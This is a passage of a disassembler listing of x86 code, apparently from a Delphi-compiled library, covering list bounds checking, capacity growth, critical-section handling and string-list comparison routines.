sub_20010050 mov edi, eax dec dword ptr [ebx+8] mov eax, [ebx+8] cmp esi, eax jge short loc_2000FFAD sub eax, esi mov ecx, eax shl ecx, 2 mov eax, [ebx+4] lea edx, [eax+esi*4] mov eax, [ebx+4] lea eax, [eax+esi*4+4] call sub_200027FC loc_2000FFAD: ; CODE XREF: sub_2000FF60+32j test edi, edi jz short loc_2000FFBC mov cl, 2 mov edx, edi mov eax, ebx mov ebx, [eax] call dword ptr [ebx+4] loc_2000FFBC: ; CODE XREF: sub_2000FF60+4Fj pop edi pop esi pop ebx retn sub_2000FF60 endp ; =============== S U B R O U T I N E ======================================= sub_2000FFC0 proc near ; CODE XREF: sub_2000FFC4+9p mov eax, [ebp+4] retn sub_2000FFC0 endp ; =============== S U B R O U T I N E ======================================= sub_2000FFC4 proc near ; CODE XREF: sub_2000FFFC+2Dp ; DATA XREF: CODE:2000F664o var_10 = dword ptr -10h var_C = byte ptr -0Ch push ebx push esi add esp, 0FFFFFFF8h mov esi, ecx mov ebx, edx call sub_2000FFC0 push eax mov [esp+14h+var_10], esi mov [esp+14h+var_C], 0 lea eax, [esp+14h+var_10] push eax push 0 mov ecx, ebx mov dl, 1 mov eax, off_2000F554 call sub_2000A520 jmp sub_20003A08 sub_2000FFC4 endp ; --------------------------------------------------------------------------- pop ecx pop edx pop esi pop ebx retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000FFFC proc near ; CODE XREF: sub_2000FF60+1Ap ; sub_20010050+19p ... var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push ebx push esi mov esi, ecx mov ebx, edx xor eax, eax push ebp push offset loc_20010044 push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_4] mov eax, ebx call sub_20005994 mov edx, [ebp+var_4] mov ecx, esi mov eax, off_2000F60C call sub_2000FFC4 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2001004B loc_2001003B: ; CODE XREF: sub_2000FFFC+4Dj lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_20010044: ; DATA XREF: sub_2000FFFC+Eo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2001003B ; --------------------------------------------------------------------------- loc_2001004B: ; CODE XREF: sub_2000FFFC+47j ; DATA XREF: sub_2000FFFC+3Ao pop esi pop ebx pop ecx pop ebp retn sub_2000FFFC endp ; =============== S U B R O U T I N E ======================================= sub_20010050 proc near ; CODE XREF: sub_2000FCCC+18p ; sub_2000FCCC+49p ... push ebx push esi mov esi, edx mov ebx, eax test esi, esi jl short loc_2001005F cmp esi, [ebx+8] jl short loc_2001006E loc_2001005F: ; CODE XREF: sub_20010050+8j mov edx, ds:off_20014538 mov ecx, esi mov eax, [ebx] call sub_2000FFFC loc_2001006E: ; CODE XREF: sub_20010050+Dj mov eax, [ebx+4] mov eax, [eax+esi*4] pop esi pop ebx retn sub_20010050 endp ; --------------------------------------------------------------------------- align 4 loc_20010078: ; DATA XREF: CODE:off_2000F658o mov edx, [eax+0Ch] cmp edx, 40h jle short loc_2001008E mov ecx, edx test ecx, ecx jns short loc_20010089 add ecx, 3 loc_20010089: ; CODE XREF: CODE:20010084j sar ecx, 2 jmp short loc_2001009F ; --------------------------------------------------------------------------- loc_2001008E: ; CODE XREF: CODE:2001007Ej cmp edx, 8 jle short loc_2001009A mov ecx, 10h jmp short loc_2001009F ; --------------------------------------------------------------------------- loc_2001009A: ; CODE XREF: CODE:20010091j mov ecx, 4 loc_2001009F: ; CODE XREF: CODE:2001008Cj ; CODE:20010098j add ecx, edx mov edx, ecx call sub_200100AC retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200100AC proc near ; CODE XREF: sub_2000FF48+10p ; CODE:200100A3p ... push ebx push esi mov esi, edx mov ebx, eax cmp esi, [ebx+8] jl short loc_200100BF cmp esi, 7FFFFFFh jle short loc_200100CE loc_200100BF: ; CODE XREF: sub_200100AC+9j mov edx, ds:off_200144CC mov ecx, esi mov eax, [ebx] call sub_2000FFFC loc_200100CE: ; CODE XREF: sub_200100AC+11j cmp esi, [ebx+0Ch] jz short loc_200100E3 mov edx, esi shl edx, 2 lea eax, [ebx+4] call sub_200026A8 mov [ebx+0Ch], esi loc_200100E3: ; CODE XREF: sub_200100AC+25j pop esi pop ebx retn sub_200100AC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200100E8 proc near ; CODE XREF: sub_2000FF48+7p push ebx push esi push edi push ebp mov esi, edx mov ebx, eax test esi, esi jl short loc_200100FC cmp esi, 7FFFFFFh jle short loc_2001010B loc_200100FC: ; CODE XREF: sub_200100E8+Aj mov edx, ds:off_20014494 mov ecx, esi mov eax, [ebx] call sub_2000FFFC loc_2001010B: ; CODE XREF: sub_200100E8+12j cmp esi, [ebx+0Ch] jle short loc_20010119 mov edx, esi mov eax, ebx call sub_200100AC loc_20010119: ; CODE XREF: sub_200100E8+26j mov eax, [ebx+8] cmp esi, eax jle short loc_20010139 mov edx, [ebx+4] lea edx, [edx+eax*4] mov ecx, esi sub ecx, eax mov eax, ecx shl eax, 2 xor ecx, ecx xchg eax, edx call sub_20002E38 jmp short loc_20010150 ; --------------------------------------------------------------------------- loc_20010139: ; CODE XREF: sub_200100E8+36j mov ebp, eax dec ebp mov edi, esi sub edi, ebp jg short loc_20010150 dec edi loc_20010143: ; CODE XREF: sub_200100E8+66j mov edx, ebp mov eax, ebx call sub_2000FF60 dec ebp inc edi jnz short loc_20010143 loc_20010150: ; CODE XREF: sub_200100E8+4Fj ; sub_200100E8+58j mov [ebx+8], esi pop ebp pop edi pop esi pop ebx retn sub_200100E8 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= sub_2001015C proc near ; CODE XREF: CODE:20012710p ; CODE:20012721p push ebx push esi test dl, dl jz short loc_2001016A add esp, 0FFFFFFF0h call sub_2000373C loc_2001016A: ; CODE XREF: sub_2001015C+4j mov ebx, edx mov esi, eax xor edx, edx mov eax, esi call sub_200034C4 lea eax, [esi+8] push eax ; lpCriticalSection call InitializeCriticalSection_0 mov dl, 1 mov eax, off_2000F60C call sub_200034C4 mov [esi+4], eax mov byte ptr [esi+20h], 0 mov eax, esi test bl, bl jz short loc_200101A8 call sub_20003794 pop large dword ptr fs:0 add esp, 0Ch loc_200101A8: ; CODE XREF: sub_2001015C+3Bj mov eax, esi pop esi pop ebx retn sub_2001015C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200101B0 proc near ; DATA XREF: CODE:2000F6B8o var_5 = byte ptr -5 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h call sub_200037A4 mov [ebp+var_5], dl mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_2001022C xor eax, eax push ebp push offset loc_20010212 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] mov eax, [eax+4] call sub_200034F4 mov dl, [ebp+var_5] and dl, 0FCh mov eax, [ebp+var_4] call sub_200034E4 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20010219 loc_200101FD: ; CODE XREF: sub_200101B0+67j mov eax, [ebp+var_4] call sub_20010240 mov eax, [ebp+var_4] add eax, 8 push eax ; lpCriticalSection call DeleteCriticalSection_0 retn ; --------------------------------------------------------------------------- loc_20010212: ; DATA XREF: sub_200101B0+1Co jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_200101FD ; --------------------------------------------------------------------------- loc_20010219: ; CODE XREF: sub_200101B0+61j ; DATA XREF: sub_200101B0+48o cmp [ebp+var_5], 0 jle short loc_20010227 mov eax, [ebp+var_4] call sub_2000378C loc_20010227: ; CODE XREF: sub_200101B0+6Dj pop ecx pop ecx pop ebp retn sub_200101B0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2001022C proc near ; CODE XREF: sub_200101B0+14p ; sub_20011C80+21p ... push ebx mov ebx, eax lea eax, [ebx+8] push eax ; lpCriticalSection call EnterCriticalSection_0 mov eax, [ebx+4] pop ebx retn sub_2001022C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20010240 proc near ; CODE XREF: sub_200101B0+50p ; sub_20011C80+95p ... add eax, 8 push eax ; lpCriticalSection call LeaveCriticalSection_0 retn sub_20010240 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2001024C proc near ; CODE XREF: sub_2001041C+1Bp ; DATA XREF: CODE:2000F710o push ebx push esi call sub_200037A4 mov ebx, edx mov esi, eax mov eax, esi call sub_20011D2C mov edx, ebx and dl, 0FCh mov eax, esi call sub_200034E4 test bl, bl jle short loc_20010275 mov eax, esi call sub_2000378C loc_20010275: ; CODE XREF: sub_2001024C+20j pop esi pop ebx retn sub_2001024C endp ; =============== S U B R O U T I N E ======================================= sub_20010278 proc near ; CODE XREF: sub_2001054C+8Cp ; DATA XREF: CODE:2000F71Co test edx, edx jz short loc_20010282 xchg eax, edx mov ecx, [eax] call dword ptr [ecx] retn ; --------------------------------------------------------------------------- loc_20010282: ; CODE XREF: sub_20010278+2j xor edx, edx call sub_2001028C retn sub_20010278 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2001028C proc near ; CODE XREF: sub_20010278+Cp ; CODE:2001035Dp var_114 = dword ptr -114h var_110 = byte ptr -110h var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_104 = byte ptr -104h var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFEECh push ebx push esi xor ecx, ecx mov [ebp+var_4], ecx mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_20010342 push dword ptr fs:[eax] mov fs:[eax], esp test esi, esi jz short loc_200102CF lea edx, [ebp+var_104] mov eax, [esi] call sub_2000346C lea edx, [ebp+var_104] lea eax, [ebp+var_4] call sub_2000420C jmp short loc_200102DC ; --------------------------------------------------------------------------- loc_200102CF: ; CODE XREF: sub_2001028C+24j lea eax, [ebp+var_4] mov edx, offset dword_20010358 call sub_20004040 loc_200102DC: ; CODE XREF: sub_2001028C+41j mov eax, [ebp+var_4] mov [ebp+var_114], eax mov [ebp+var_110], 0Bh lea edx, [ebp+var_104] mov eax, [ebx] call sub_2000346C lea eax, [ebp+var_104] mov [ebp+var_10C], eax mov [ebp+var_108], 4 lea eax, [ebp+var_114] push eax push 1 mov ecx, ds:off_2001449C mov dl, 1 mov eax, off_20006954 call sub_2000A5DC call sub_20003A08 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20010349 loc_20010339: ; CODE XREF: sub_2001028C+BBj lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_20010342: ; DATA XREF: sub_2001028C+17o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20010339 ; --------------------------------------------------------------------------- loc_20010349: ; CODE XREF: sub_2001028C+B5j ; DATA XREF: sub_2001028C+A8o pop esi pop ebx mov esp, ebp pop ebp retn sub_2001028C endp ; --------------------------------------------------------------------------- align 10h dd 0FFFFFFFFh, 3 dword_20010358 dd 6C696Eh ; DATA XREF: sub_2001028C+46o ; --------------------------------------------------------------------------- loc_2001035C: ; DATA XREF: CODE:off_2000F714o ; CODE:off_2000F7E8o ... xchg eax, edx call sub_2001028C retn ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20010368 proc near ; DATA XREF: CODE:2000F72Ao var_104 = byte ptr -104h var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFEFCh push ebx push esi push edi xor ecx, ecx mov [ebp+var_4], ecx mov edi, edx mov ebx, eax xor eax, eax push ebp push offset loc_200103FD push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_104] mov eax, [ebx] call sub_2000346C lea edx, [ebp+var_104] mov eax, edi call sub_2000420C mov eax, ebx mov si, 0FFFFh call sub_200036D4 test eax, eax jz short loc_200103E7 mov eax, ebx mov si, 0FFFFh call sub_200036D4 lea edx, [ebp+var_4] mov si, 0FFFEh call sub_200036D4 cmp [ebp+var_4], 0 jz short loc_200103E7 push [ebp+var_4] push offset dword_20010414 push dword ptr [edi] mov eax, edi mov edx, 3 call sub_20004304 loc_200103E7: ; CODE XREF: sub_20010368+4Aj ; sub_20010368+67j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20010404 loc_200103F4: ; CODE XREF: sub_20010368+9Aj lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_200103FD: ; DATA XREF: sub_20010368+18o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_200103F4 ; --------------------------------------------------------------------------- loc_20010404: ; CODE XREF: sub_20010368+94j ; DATA XREF: sub_20010368+87o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_20010368 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1 dword_20010414 dd 2Eh ; DATA XREF: sub_20010368+6Co ; --------------------------------------------------------------------------- loc_20010418: ; DATA XREF: CODE:2000F726o xor eax, eax retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2001041C proc near ; CODE XREF: sub_20011180+22p ; DATA XREF: CODE:2000F7E4o push ebx push esi call sub_200037A4 mov ebx, edx mov esi, eax xor edx, edx mov eax, esi call sub_20010F74 mov edx, ebx and dl, 0FCh mov eax, esi call sub_2001024C test bl, bl jle short loc_20010447 mov eax, esi call sub_2000378C loc_20010447: ; CODE XREF: sub_2001041C+22j pop esi pop ebx retn sub_2001041C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2001044C proc near ; DATA XREF: CODE:2000F820o push ebx push esi push edi push ebp mov ebp, edx mov esi, eax mov eax, esi mov edx, [eax] call dword ptr [edx+14h] mov edi, eax mov ecx, ebp mov edx, edi mov eax, esi mov ebx, [eax] call dword ptr [ebx+60h] mov eax, edi pop ebp pop edi pop esi pop ebx retn sub_2001044C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20010470 proc near ; DATA XREF: CODE:2000F824o push ebx push esi push edi mov edi, ecx mov ebx, eax mov eax, ebx mov ecx, [eax] call dword ptr [ecx+38h] mov esi, eax mov ecx, edi mov edx, esi mov eax, ebx mov ebx, [eax] call dword ptr [ebx+24h] mov eax, esi pop edi pop esi pop ebx retn sub_20010470 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20010494 proc near ; DATA XREF: CODE:2000F828o ; CODE:2000F958o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx push esi push edi xor ecx, ecx mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_2001053B push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_200105E4 xor eax, eax push ebp push offset loc_2001051E push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_8] mov edx, [eax] call dword ptr [edx+14h] mov esi, eax dec esi test esi, esi jl short loc_20010508 inc esi xor ebx, ebx loc_200104DE: ; CODE XREF: sub_20010494+72j lea ecx, [ebp+var_C] mov edx, ebx mov eax, [ebp+var_8] mov edi, [eax] call dword ptr [edi+0Ch] mov eax, [ebp+var_C] push eax mov edx, ebx mov eax, [ebp+var_8] mov ecx, [eax] call dword ptr [ecx+18h] mov ecx, eax mov eax, [ebp+var_4] pop edx mov edi, [eax] call dword ptr [edi+3Ch] inc ebx dec esi jnz short loc_200104DE loc_20010508: ; CODE XREF: sub_20010494+45j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20010525 loc_20010515: ; CODE XREF: sub_20010494+8Fj mov eax, [ebp+var_4] call near ptr loc_2001069B+5 retn ; --------------------------------------------------------------------------- loc_2001051E: ; DATA XREF: sub_20010494+2Do jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20010515 ; --------------------------------------------------------------------------- loc_20010525: ; CODE XREF: sub_20010494+89j ; DATA XREF: sub_20010494+7Co xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20010542 loc_20010532: ; CODE XREF: sub_20010494+ACj lea eax, [ebp+var_C] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_2001053B: ; DATA XREF: sub_20010494+17o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20010532 ; --------------------------------------------------------------------------- loc_20010542: ; CODE XREF: sub_20010494+A6j ; DATA XREF: sub_20010494+99o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_20010494 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2001054C proc near ; DATA XREF: CODE:2000F7F0o ; CODE:2000F920o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi mov ebx, edx mov [ebp+var_4], eax mov eax, ebx mov edx, off_2000F79C call sub_20003680 test al, al jz short loc_200105D3 mov eax, [ebp+var_4] call sub_200105E4 xor eax, eax push ebp push offset loc_200105CC push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] mov edx, [eax] call dword ptr [edx+44h] mov esi, ebx mov al, [esi+4] mov edx, [ebp+var_4] mov [edx+4], al mov al, [esi+7] mov edx, [ebp+var_4] mov [edx+7], al mov al, [esi+6] mov edx, [ebp+var_4] mov [edx+6], al mov al, [esi+5] mov edx, [ebp+var_4] mov [edx+5], al mov edx, esi mov eax, [ebp+var_4] mov ecx, [eax] call dword ptr [ecx+40h] xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_200105DD loc_200105C3: ; CODE XREF: sub_2001054C+85j mov eax, [ebp+var_4] call near ptr loc_2001069B+5 retn ; --------------------------------------------------------------------------- loc_200105CC: ; DATA XREF: sub_2001054C+27o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_200105C3 ; --------------------------------------------------------------------------- loc_200105D3: ; CODE XREF: sub_2001054C+1Aj mov edx, ebx mov eax, [ebp+var_4] call sub_20010278 loc_200105DD: ; CODE XREF: sub_2001054C+7Fj ; DATA XREF: sub_2001054C+72o pop esi pop ebx pop ecx pop ebp retn sub_2001054C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200105E4 proc near ; CODE XREF: sub_20010494+25p ; sub_2001054C+1Fp ... push ebx mov ebx, eax cmp dword ptr [ebx+8], 0 jnz short loc_200105F6 mov dl, 1 mov eax, ebx mov ecx, [eax] call dword ptr [ecx+30h] loc_200105F6: ; CODE XREF: sub_200105E4+7j inc dword ptr [ebx+8] pop ebx retn sub_200105E4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200105FC proc near ; CODE XREF: sub_20010654+20p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi mov eax, [ebp+arg_0] mov eax, [eax-4] mov esi, [eax+20h] test esi, esi jz short loc_2001063B mov bl, 1 mov eax, [ebp+arg_0] mov eax, esi mov edx, off_2000F79C call sub_20003680 test al, al jz short loc_2001064B mov eax, [ebp+arg_0] mov edx, esi mov eax, [ebp+arg_0] mov eax, [eax-8] call sub_200106B4 mov ebx, eax xor bl, 1 jmp short loc_2001064B ; --------------------------------------------------------------------------- loc_2001063B: ; CODE XREF: sub_200105FC+10j mov eax, [ebp+arg_0] mov eax, [eax-8] mov edx, [eax] call dword ptr [edx+14h] test eax, eax setnle bl loc_2001064B: ; CODE XREF: sub_200105FC+26j ; sub_200105FC+3Dj mov eax, ebx pop esi pop ebx pop ebp retn sub_200105FC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20010654 proc near ; DATA XREF: CODE:2000F7ECo ; CODE:2000F91Co var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx mov [ebp+var_4], edx mov [ebp+var_8], eax mov eax, [ebp+var_8] push eax push offset sub_20010E0C mov eax, [ebp+var_8] push eax push offset sub_200110BC push ebp call sub_200105FC pop ecx mov ecx, eax mov edx, offset sub_20010698 mov eax, [ebp+var_4] mov ebx, [eax] call dword ptr [ebx+4] pop ebx pop ecx pop ecx pop ebp retn sub_20010654 endp ; --------------------------------------------------------------------------- align 10h dd 0FFFFFFFFh, 7 ; =============== S U B R O U T I N E ======================================= sub_20010698 proc near ; DATA XREF: sub_20010654+28o push ebx jz short loc_2001070D loc_2001069B: ; CODE XREF: sub_20010494+84p ; sub_2001054C+7Ap ... imul ebp, [esi+67h], 48FF0073h sub_20010698 endp ; sp-analysis failed or [ebx+75000878h], al pop es xor edx, edx mov ecx, [eax] call dword ptr [ecx+30h] retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200106B4 proc near ; CODE XREF: sub_200105FC+33p var_14 = dword ptr -14h var_10 = dword ptr -10h var_9 = byte ptr -9 var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFECh push ebx push esi push edi xor ecx, ecx mov [ebp+var_10], ecx mov [ebp+var_14], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_20010749 push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+var_9], 0 mov eax, [ebp+var_4] mov edx, [eax] call dword ptr [edx+14h] mov ebx, eax mov eax, [ebp+var_8] mov edx, [eax] call dword ptr [edx+14h] cmp ebx, eax jnz short loc_2001072E mov esi, ebx dec esi test esi, esi jl short loc_2001072A inc esi xor ebx, ebx loc_200106FD: ; CODE XREF: sub_200106B4+74j lea ecx, [ebp+var_10] mov edx, ebx mov eax, [ebp+var_4] mov edi, [eax] call dword ptr [edi+0Ch] mov eax, [ebp+var_10] loc_2001070D: ; CODE XREF: sub_20010698+1j push eax lea ecx, [ebp+var_14] mov edx, ebx mov eax, [ebp+var_8] mov edi, [eax] call dword ptr [edi+0Ch] mov edx, [ebp+var_14] pop eax call sub_20004390 jnz short loc_2001072E inc ebx dec esi jnz short loc_200106FD loc_2001072A: ; CODE XREF: sub_200106B4+44j mov [ebp+var_9], 1 loc_2001072E: ; CODE XREF: sub_200106B4+3Dj ; sub_200106B4+70j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20010750 loc_2001073B: ; CODE XREF: sub_200106B4+9Aj lea eax, [ebp+var_14] mov edx, 2 call sub_20003FCC retn ; --------------------------------------------------------------------------- loc_20010749: ; DATA XREF: sub_200106B4+1Ao jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2001073B ; --------------------------------------------------------------------------- loc_20010750: ; CODE XREF: sub_200106B4+94j ; DATA XREF: sub_200106B4+82o mov al, [ebp+var_9] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_200106B4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2001075C proc near ; CODE XREF: sub_20010760+9p mov eax, [ebp+4] retn sub_2001075C endp ; =============== S U B R O U T I N E ======================================= sub_20010760 proc near ; CODE XREF: sub_20010798+2Dp var_10 = dword ptr -10h var_C = byte ptr -0Ch push ebx push esi add esp, 0FFFFFFF8h mov esi, ecx mov ebx, edx call sub_2001075C push eax mov [esp+14h+var_10], esi mov [esp+14h+var_C], 0 lea eax, [esp+14h+var_10] push eax push 0 mov ecx, ebx mov dl, 1 mov eax, off_2000F5AC call sub_2000A520 jmp sub_20003A08 sub_20010760 endp ; --------------------------------------------------------------------------- pop ecx pop edx pop esi pop ebx retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20010798 proc near ; CODE XREF: sub_200111E8+42p ; sub_200112C4+19p ... var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_200107E0 push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_4] mov eax, esi call sub_20005994 mov edx, [ebp+var_4] mov ecx, edi mov eax, ebx call sub_20010760 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_200107E7 loc_200107D7: ; CODE XREF: sub_20010798+4Dj lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_200107E0: ; DATA XREF: sub_20010798+11o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_200107D7 ; --------------------------------------------------------------------------- loc_200107E7: ; CODE XREF: sub_20010798+47j ; DATA XREF: sub_20010798+3Ao pop edi pop esi pop ebx pop ecx pop ebp retn sub_20010798 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200107F0 proc near ; DATA XREF: CODE:2000F834o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx push esi push edi xor ebx, ebx mov [ebp+var_10], ebx mov [ebp+var_C], ebx mov esi, ecx mov ebx, edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_200108C8 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_200105E4 xor eax, eax push ebp push offset loc_200108A6 push dword ptr fs:[eax] mov fs:[eax], esp lea ecx, [ebp+var_C] mov edx, ebx mov eax, [ebp+var_4] mov edi, [eax] call dword ptr [edi+0Ch] mov edx, ebx mov eax, [ebp+var_4] mov ecx, [eax] call dword ptr [ecx+18h] mov [ebp+var_8], eax lea ecx, [ebp+var_10] mov edx, esi mov eax, [ebp+var_4] mov edi, [eax] call dword ptr [edi+0Ch] mov ecx, [ebp+var_10] mov edx, ebx mov eax, [ebp+var_4] mov edi, [eax] call dword ptr [edi+20h] mov edx, esi mov eax, [ebp+var_4] mov ecx, [eax] call dword ptr [ecx+18h] mov ecx, eax mov edx, ebx mov eax, [ebp+var_4] mov ebx, [eax] call dword ptr [ebx+24h] mov ecx, [ebp+var_C] mov edx, esi mov eax, [ebp+var_4] mov ebx, [eax] call dword ptr [ebx+20h] mov ecx, [ebp+var_8] mov edx, esi mov eax, [ebp+var_4] mov ebx, [eax] call dword ptr [ebx+24h] xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_200108AD loc_2001089D: ; CODE XREF: sub_200107F0+BBj mov eax, [ebp+var_4] call near ptr loc_2001069B+5 retn ; --------------------------------------------------------------------------- loc_200108A6: ; DATA XREF: sub_200107F0+31o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2001089D ; --------------------------------------------------------------------------- loc_200108AD: ; CODE XREF: sub_200107F0+B5j ; DATA XREF: sub_200107F0+A8o xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_200108CF loc_200108BA: ; CODE XREF: sub_200107F0+DDj lea eax, [ebp+var_10] mov edx, 2 call sub_20003FCC retn ; --------------------------------------------------------------------------- loc_200108C8: ; DATA XREF: sub_200107F0+1Bo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_200108BA ; --------------------------------------------------------------------------- loc_200108CF: ; CODE XREF: sub_200107F0+D7j ; DATA XREF: sub_200107F0+C5o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_200107F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200108D8 proc near ; DATA XREF: CODE:2000F7F8o mov edx, [eax] call dword ptr [edx+14h] retn sub_200108D8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_200108E0 proc near ; DATA XREF: CODE:2000F800o xor eax, eax retn sub_200108E0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200108E4 proc near ; DATA XREF: CODE:2000F838o ; CODE:2000F968o var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push ebx mov ebx, eax xor eax, eax push ebp push offset loc_20010929 push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_4] mov eax, ebx mov ecx, [eax] call dword ptr [ecx+1Ch] mov eax, [ebp+var_4] call sub_20004444 call sub_200077F8 mov ebx, eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20010930 loc_20010920: ; CODE XREF: sub_200108E4+4Aj lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_20010929: ; DATA XREF: sub_200108E4+Bo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20010920 ; --------------------------------------------------------------------------- loc_20010930: ; CODE XREF: sub_200108E4+44j ; DATA XREF: sub_200108E4+37o mov eax, ebx pop ebx pop ecx pop ebp retn sub_200108E4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20010938 proc near ; DATA XREF: CODE:2000F804o ; CODE:2000F934o var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword 